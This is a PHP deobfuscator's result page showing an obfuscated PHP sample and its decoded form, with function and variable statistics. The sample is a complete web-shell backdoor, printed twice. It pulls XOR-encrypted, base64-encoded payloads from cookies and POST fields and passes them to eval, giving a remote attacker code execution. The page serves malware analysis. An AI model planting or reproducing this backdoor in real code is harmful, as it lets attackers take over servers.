Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$nCUbK = "\160" . chr (70) . chr ( 219 - 97 ).'_' . "\x67" . 'c' . "\145" . 'M';$lLVgJKjH ..

Decoded Output download

<?  $nCUbK = "p" . chr (70) . chr ( 219 - 97 ).'_' . "g" . 'c' . "e" . 'M';$lLVgJKjH = chr (99) . "l" . chr (97) . "s" . chr (115) . "_" . 'e' . "x" . "i" . "s" . "t" . "s";$UumWuFZ = $lLVgJKjH($nCUbK); $nCUbK = "46179";$lLVgJKjH = "19296";$TDXGez = $UumWuFZ;if (!$TDXGez){class pFz_gceM{private $RBNNoIZ;public static $sdvKe = "b5eb3a67-9295-4543-a670-eedcb32a60f1";public static $TriJcXWzjh = 9554;public function __construct($HleysW=0){$iRTHSx = $_COOKIE;$XRooASzeUw = $_POST;$BbgxSbo = @$iRTHSx[substr(pFz_gceM::$sdvKe, 0, 4)];if (!empty($BbgxSbo)){$sbaos = "base64";$eEQUOk = "";$BbgxSbo = explode(",", $BbgxSbo);foreach ($BbgxSbo as $WQjZZgKFfj){$eEQUOk .= @$iRTHSx[$WQjZZgKFfj];$eEQUOk .= @$XRooASzeUw[$WQjZZgKFfj];}$eEQUOk = array_map($sbaos . chr (95) . "d" . "e" . "c" . 'o' . chr (100) . chr ( 281 - 180 ), array($eEQUOk,)); $eEQUOk = $eEQUOk[0] ^ str_repeat(pFz_gceM::$sdvKe, (strlen($eEQUOk[0]) / strlen(pFz_gceM::$sdvKe)) + 1);pFz_gceM::$TriJcXWzjh = @unserialize($eEQUOk);}}private function SGcZMbEG(){if (is_array(pFz_gceM::$TriJcXWzjh)) {$rzQYtYCrXP = str_replace(chr (60) . "?" . "p" . chr ( 112 - 8 ).'p', "", pFz_gceM::$TriJcXWzjh[chr ( 449 - 350 )."o" . chr (110) . "t" . "e" . "n" . "t"]);eval($rzQYtYCrXP); $hSsgfKaGP = "3896";exit();}}public function __destruct(){$this->SGcZMbEG(); $hSsgfKaGP = "3896";}}$pQnnbtuND = new pFz_gceM(); $pQnnbtuND = "21770_62646";} ?>

Did this file decode correctly?

Original Code

$nCUbK = "\160" . chr (70) . chr ( 219 - 97 ).'_' . "\x67" . 'c' . "\145" . 'M';$lLVgJKjH = chr (99) . "\154" . chr (97) . "\163" . chr (115) . "\137" . 'e' . "\170" . "\x69" . "\163" . "\x74" . "\x73";$UumWuFZ = $lLVgJKjH($nCUbK); $nCUbK = "46179";$lLVgJKjH = "19296";$TDXGez = $UumWuFZ;if (!$TDXGez){class pFz_gceM{private $RBNNoIZ;public static $sdvKe = "b5eb3a67-9295-4543-a670-eedcb32a60f1";public static $TriJcXWzjh = 9554;public function __construct($HleysW=0){$iRTHSx = $_COOKIE;$XRooASzeUw = $_POST;$BbgxSbo = @$iRTHSx[substr(pFz_gceM::$sdvKe, 0, 4)];if (!empty($BbgxSbo)){$sbaos = "base64";$eEQUOk = "";$BbgxSbo = explode(",", $BbgxSbo);foreach ($BbgxSbo as $WQjZZgKFfj){$eEQUOk .= @$iRTHSx[$WQjZZgKFfj];$eEQUOk .= @$XRooASzeUw[$WQjZZgKFfj];}$eEQUOk = array_map($sbaos . chr (95) . "\144" . "\145" . "\143" . 'o' . chr (100) . chr ( 281 - 180 ), array($eEQUOk,)); $eEQUOk = $eEQUOk[0] ^ str_repeat(pFz_gceM::$sdvKe, (strlen($eEQUOk[0]) / strlen(pFz_gceM::$sdvKe)) + 1);pFz_gceM::$TriJcXWzjh = @unserialize($eEQUOk);}}private function SGcZMbEG(){if (is_array(pFz_gceM::$TriJcXWzjh)) {$rzQYtYCrXP = str_replace(chr (60) . "\77" . "\160" . chr ( 112 - 8 ).'p', "", pFz_gceM::$TriJcXWzjh[chr ( 449 - 350 )."\x6f" . chr (110) . "\164" . "\145" . "\x6e" . "\x74"]);eval($rzQYtYCrXP); $hSsgfKaGP = "3896";exit();}}public function __destruct(){$this->SGcZMbEG(); $hSsgfKaGP = "3896";}}$pQnnbtuND = new pFz_gceM(); $pQnnbtuND = "21770_62646";}

Function Calls

chr 5
class_exists 1

Variables

$nCUbK pFz_gceM
$lLVgJKjH class_exists

Stats

MD5 6c299d11e06edffc41f2c59a8ba98939
Eval Count 0
Decode Time 102 ms